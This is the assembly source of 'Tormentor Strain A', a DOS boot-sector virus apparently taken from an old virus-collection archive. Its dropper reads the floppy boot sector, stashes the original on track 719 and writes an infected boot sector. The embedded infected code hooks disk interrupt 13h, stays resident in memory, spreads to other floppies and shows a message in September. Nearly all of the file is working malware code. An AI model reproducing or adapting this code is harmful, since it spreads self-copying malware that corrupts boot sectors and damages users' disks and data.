Underground/Underground CD1.iso/virii/zrodla/t/torment.asm

Assembly Source File | 1998-01-14 | 12.9 KB | 543 lines

code_seg segment
     assume cs:code_seg,ds:code_seg

     org 100h

tormentor     proc    far

@disp    macro    string
    mov    dx,offset string
    mov    ah,09h
    int    21h
endm

@exit    macro
    mov    ax,4c00h
    int    21h
endm

@cls    macro    mode
    mov    ah,00h
    mov    al,mode
    int    10h
endm

start:    jmp    main

boot_area dw     256 dup (0)
boot_sec  dw    512 dup (0)

message    db    "Tormentor Strain A",13,10
    db    "Written by The High Evolutionary",13,10
    db    "Copyright (C) 1991 by The RABID Nat'nl Development Corp."
    db    13,10,13,10
    db    "Press any key to install onto media in drive A:",13,10
    db    "(Or press CTRL-C to abort)$",13,10

paused    db    13,10,13,10
    db    "[Paused] Insert destination disk if desired and press",13,10
    db    "any key, otherwise, press any key$",13,10

done    db    "Done!$",13,10

r_fail    db    13,10,13,10
    db    "Failed to READ in boot sector$",13,10

w_fail    db    13,10,13,10
    db    "Failed to WRITE boot sector$",13,10

f_infec    db    13,10,13,10
    db    "SHIT! We failed to write the virus code to the disk!!!$",13,10

r_boot    db    13,10,13,10
    db    "Now READING in the boot sector$",13,10

w_boot    db    13,10,13,10
    db    "Now WRITING the boot sector to track 719$",13,10

w_vir    db    13,10,13,10
    db    "Now WRITING the VIRUS to the boot sector$",13,10

succ    db    13,10,13,10
    db    "Success! We installed Tormentor onto the drive$",13,10

memerr    db    13,10,13,10
    db    "BOMB! We had a memory allocation error. Bailing out...$",13,10
    db    13,10

read_shit db    13,10,13,10
    db    "Reading in shit via INT 25...$",13,10
    db    13,10

intro    db    "You are in Torment$",13,10

bootseg    dw    ?            ; Storage segment address or mem. block
                    ; containing copy of boot record

dssave    dw    ?            ; Storage for DS register
;dssave dw    seg    group        ; Storage for DS register

pspseg    dw    ?            ; PSP segment storage

;stack    segment para stack 'STACK'    ; Code Segment
;stack     ends

;_data    segment    word public 'DATA'    ; Data Segment
;_data    ends

;dgroup    group    data,stack        ; Define segment group

;*****************************************************************************
; Boot record information to infect both floppies and hard-drives
;*****************************************************************************

bootrecord    struc
bootjump    db    3 dup (?)    ; Initial 3 byte jmp instruction
oemstring    db    8 dup (?)    ; OEM version and DOS
sectorbytes    dw    ?        ; Bytes per sector
clustersec    db    ?        ; Sectors per cluster
reservedrec    dw    ?        ; Reserved sectors
fatcopies    db    ?        ; number of FAT copies
direntries    dw    ?        ; number of root dir entries
totalsectors    dw    ?        ; Total disk sectors
mediadescrip    db    ?        ; Media Descriptor
fatsectors    dw    ?        ; number of sectors occupied by 1 FAT
tracksectors    dw    ?        ; number of sectors per track
heads        dw    ?        ; number of heads
hiddensectors    dw    ?        ; number of hidden sectors
bootrecord    ends

drive    db    ?            ; Current drive pointer

memalloc    proc    near

    push    bp            ; Save base pointer
    push     bx            ; Save BX
    mov    bp,sp            ; init base pointer
    xor    al,al            ; Zero out AL
    mov    ah,48h            ; Allocate mem. function
    int    21h
    jnc    end_memalloc        ; exit if no error
    mov    word ptr [bp],bx

end_memalloc:
    pop    bx            ; Restore BX
    pop    bp            ; Restore Base Pointer
    ret

memalloc    endp

main:

get_default_drive:
    mov    ah,19h
    int    21h
    mov    byte ptr drive,al    ; Move current drive into drive


;    mov    ds,dssave        ; Initialise DS
;    mov    ax,es            ; get PSP address
;    mov    word ptr pspseg,ax    ; and save it...

    jmp    read_boot

;    mov    bx,40h            ; Allocate 1024 bytes
;    call    memalloc        ; Allocate BX block of memory
;    jnc    read_boot
;    @disp    memerr
;    jmp    quit

read_boot:
    @disp    read_shit
    mov    ah,08h
    int    21h
    mov    word ptr bootseg,ax
    push    ax            ; Save AX onto the stack
    mov    al,0
;    mov    al,byte ptr drive    ; Move current drive into AL
    xor     ah,ah            ; Zero out AH
;    pop    ds            ; Restore Data_seg
    pushf                ; Save flags
    mov    dx,0            ; Read in sector 0
    mov    cx,1            ; Read in 1 sector
    mov    bx,offset boot_sec    ; Store data at DS:boot_sec
    int    25h            ; Read in the disk
    popf                ; clear flags used by flags
    @disp    done
    mov    ah,08h
    int    21h
;    assume    ds:code_seg        ; Restore DS

begin:    @cls    03
;    mov    ah,00            ; Set screen
;    mov    al,03            ; Set screen for 80x25 color
;    int    10h            ; Call BIOS
    @disp     message

    mov    ah,08h            ; Wait for a keypress
    int    21h
    mov    cx,3

read_sector:
    @disp    r_boot            ; Display that we are reading the
                    ; sector from the disk
    push    cx            ; Counter is pushed onto the stack
    mov    ax,201h            ; Read in 1 sector
    mov    bx,offset boot_area    ; Store it in boot_area
    mov    cx,1            ; Set counter to 1
    mov    dx,0            ; Set for drive 0, head 0
    int    13h            ; Call BIOS
    pop    cx            ; Restore counter
    jnc    good_read        ; If there were no errors, then
                    ; jump to good_read
    loop    read_sector        ; Jump back and try reading the sector
                    ; again while CX>0
    @disp     r_fail
    mov    ax,4c00h        ; Exit
    int    21h            ; Call DOS

good_read:
    mov    cx,3            ; Set counter to 3
    @disp    paused            ; Display message for pause
    mov    ah,08h            ; Wait for a key
    int    21h            ; Call DOS

;*****************************************************************************
; Write good sector to track 719 (Head 1, track 27, sector 9)
;*****************************************************************************

write_sector:
    @disp    w_boot            ; Display that we are writing the
                    ; sector to disk
    mov    ax,301h            ; Set for writing the boot sector
    mov    bx,offset boot_area    ; Set buffer to what we read in
;    mov    bx,offset infected_data
    mov    cx,2709h        ; Set counter to 2709h
    mov    dx,100h            ; Head 1, drive 0
    int    13h            ; Call BIOS
    pop    cx            ; Restore the counter
    jnc    good_write        ; If we wrote the sectors allright,
                    ; then jump to good_write
    loop    write_sector
    @disp    w_fail
    mov    ax,4c00h        ; Exit
    int    21h            ; Call DOS

good_write:
    mov    cx,3            ; Copy 3 into CX
    @disp    w_vir
infect_floppy:
    push    cx            ; Push it onto the stack
    mov    ax,301h            ; Write 1 sector
    mov    bx,offset infected_data ; Write corrupt boot sector to the
                    ; drive
    mov    cx,1            ; Set counter to 1
    mov    dx,0            ; Set for drive A:
    int    13h            ; Call BIOS
    jnc    good_infection        ; If there are no problems, then
                    ; continue
    loop    infect_floppy        ; Otherwise, try again until CX=0
    @disp    f_infec            ; If CX=0, then display the message
                    ; and then exit
    mov    ax,4c00h        ; Exit
    int    21h            ; Call DOS

good_infection:
    @disp    succ
    mov    ax,4c00h
    int    21h

;*****************************************************************************
; The following is a copy of the infected boot sector to copy to sector 0
;*****************************************************************************

infected_data    db    0EBh, 34h
        nop
        dec    cx
        inc    dx
        dec    bp
        and    [bx+si],ah
        xor    bp,word ptr ds:[33h]
        add    al,[bp+si]
        add    [bx+si],ax
        add    dh,[bx+si+0]
        rol    byte ptr [bp+si],1    ; Rotate
        std                ; Set direction flag
        add    al,[bx+si]
        or    [bx+si],ax
        add    al,[bx+si]
        db    19 dup (0)
;        db    'Tormentor Strain A - RABID Nat''nl Development Corp.'
        adc    al,[bx+si]
        add    [bx+si],al
        add    [bx+di],al
        add    dl,bh
        xor    ax,ax            ; Zero register
        mov    ds,ax
        mov    ss,ax
        mov    bx,7C00h        ; Pointer to boot segment
        mov    sp,bx
        push    ds
data_14        db    53h
        dec    word ptr ds:[413h]
        int    12h            ; Put (memory size)/1K in ax
        mov    cl,6
        shl    ax,cl            ; Shift w/zeros fill
        mov    es,ax
        xchg    ax,word ptr ds:[4Eh]
        mov    word ptr ds:[7DABh],ax
        mov    ax,128h
        xchg    ax,word ptr ds:[4Ch]
        mov    word ptr ds:[7DA9h],ax
        mov    ax,es
        xchg    ax,word ptr ds:[66h]
        mov    word ptr ds:[7DAFh],ax
        mov    ax,0BBh
        xchg    ax,word ptr ds:[64h]
        mov    word ptr ds:[7DADh],ax
        xor    di,di            ; Zero register
        mov    si,bx
        mov    cx,100h
        cld                ; Clear direction
        rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
        sti                ; Enable interrupts
        push    es
        mov    ax,85h
        push    ax
        retf
        push    bx
        xor    dl,dl            ; Zero register
        call    sub_2            ; (00FB)
        pop    bx
        push    ds
        pop    es
        mov    ah,2
        mov    dh,1
        call    sub_6            ; (011F)
        jc    loc_2            ; Jump if carry Set
        push    cs
        pop    ds
        mov    si,offset ds:[0Bh]
        mov    di,offset ds:[7C0Bh]
        mov    cx,2Bh
        cld                ; Clear direction
        repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
        jz    loc_ret_3        ; Jump if zero
loc_2:
        pop    bx
        pop    ax
        push    cs
        mov    ax,0AFh
        push    ax

loc_ret_3:
        retf                ; Return far
read_error:
        push    cs
        pop    ds
        mov    si,1DBh
        call    sub_1            ; (00DA)
        xor    ah,ah            ; Zero register
        int    16h            ; Keyboard i/o  ah=function 00h
                        ; get keybd char in al, ah=scan
        xor    ax,ax            ; Zero register
        int    13h            ; Disk  dl=drive a  ah=func 00h
                        ;  reset disk, al=return status
        push    cs
        pop    es
        mov    bx,offset ds:[200h]
        mov    cx,6
        xor    dx,dx            ; Zero register
        mov    ax,201h
        int    13h            ; Disk  dl=drive a  ah=func 02h
                        ;  read sectors to memory es:bx
        jc    read_error        ; Jump if carry Set
        mov    cx,0FF0h
        mov    ds,cx
        jmp    dword ptr cs:data_16

;
; Insert Tormentor     endp here...
;
;tormentor    endp


;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;                   SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄

sub_1        proc    near
loc_5:
        mov    bx,7
        cld                ; Clear direction
        lodsb                ; String [si] to al
        or    al,al            ; Zero ?
        jz    loc_ret_9        ; Jump if zero
        jns    loc_6            ; Jump if not sign
        xor    al,0D7h
        or    bl,88h
loc_6:
        cmp    al,20h
        jbe    loc_7            ; Jump if below or =
        mov    cx,1
        mov    ah,9            ;
        int    10h            ; Video display   ah=functn 09h
                        ; set char al & attrib bl @curs
loc_7:
        mov    ah,0Eh
        int    10h            ; Video display   ah=functn 0Eh
                        ;  write char al, teletype mode
        jmp    short loc_5        ; (00DA)

;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀

sub_2:
        mov    bx,200h
        mov    cx,2
        mov    ah,cl
        call    sub_5            ; (011D)
        mov    cx,2709h
        xor    byte ptr es:[bx],0FDh
        jz    loc_8            ; Jump if zero
        mov    cx,4F0Fh
loc_8:
        jmp    short loc_ret_9        ; (0127)
        nop

;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀

sub_3:
        mov    ah,2
        mov    bx,200h

;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀

sub_4:
        mov    cx,1

;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀

sub_5:
        mov    dh,0

;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀

sub_6:
        mov    al,1

;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀

sub_7:
        pushf                ; Push flags
        call    dword ptr cs:data_15

loc_ret_9:
        retn
sub_1        endp

        push    ax
        push    bx
        push    cx
        push    dx
        push    es
        push    ds
        push    si
        push    di
        pushf                ; Push flags
        push    cs
        pop    ds
        cmp    dl,1
        ja    loc_11            ; Jump if above
        and    ax,0FE00h
        jz    loc_11            ; Jump if zero
        xchg    al,ch
        shl    al,1            ; Shift w/zeros fill
        add    al,dh
        mov    ah,9
        mul    ah            ; ax = reg * al
        add    ax,cx
        sub    al,6
        cmp    ax,6
        ja    loc_11            ; Jump if above
        push    cs
        pop    es
        call    sub_3            ; (0115)
        jc    loc_10            ; Jump if carry Set
        mov    di,offset data_14
        mov    si,offset ds:[243h]
        mov    cx,0Eh
        std                ; Set direction flag
        repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to
                        ; es:[di]
        jz    loc_11            ; Jump if zero
        sub    si,cx
        sub    di,cx
        mov    cl,33h            ; '3'
        rep    movsb            ; Rep when cx >0 Mov [si] to
                        ; es:[di]
        call    sub_2            ; (00FB)
        push    cx
        push    bx
        call    sub_3            ; (0115)
        mov    ah,3
        xor    bx,bx            ; Zero register
        call    sub_4            ; (011A)
        pop    bx
        pop    cx
        jc    loc_10            ; Jump if carry Set
        mov    dh,1
        mov    ah,3
        call    sub_6            ; (011F)
loc_10:
        xor    ax,ax            ; Zero register
        call    sub_7            ; (0121)
loc_11:
        mov    ah,4
        int    1Ah            ; Real time clock   ah=func 04h
                        ; read date cx=year, dx=mon/day
        cmp    dh,9
        jne    not_month        ; Jump if not equal
        mov    si,1B1h
        call    sub_1            ; (00DA)
not_month:
        popf                ; Pop flags
        pop    di
        pop    si
        pop    ds
        pop    es
        pop    dx
        pop    cx
        pop    bx
        pop    ax
        jmp    dword ptr cs:data_15
data_15        dd    0C602EC59h
data_16        dd    0F000E6F2h
        esc    2,ch            ; coprocessor escape
        and    [bp+di-4141h],al
        movsb                ; Mov [si] to es:[di]
        idiv    word ptr [bp-85Ch]    ; ax,dxrem=dx:ax/data
        xchg    ax,si
        mov    si,offset ds:[0B4A5h]
        mov    ax,0DAA7h
        esc    5,[bx+si]        ; coprocessor escape
        db    'IO      SYSMSDOS   SYS', 0Dh, 0Ah
        db    'Non-system disk or disk error', 0Dh
        db    0Ah
        add    [bx+si],al
        push    bp
;        jmp    cont

;        db    'Tormentor Strain A - RABID Nat''nl Development Corp.'
        stosb
;cont:        stosb                ; Store al to es:[di]

tormentor    endp

quit:    mov    ax,4c00h
    int    21h


    code_seg    ends
end     start